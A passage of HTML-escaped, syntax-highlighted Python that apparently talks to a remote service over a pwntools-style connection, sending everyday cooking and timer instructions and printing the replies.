z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;preheat the toaster oven&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;set a timer on your phone&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type 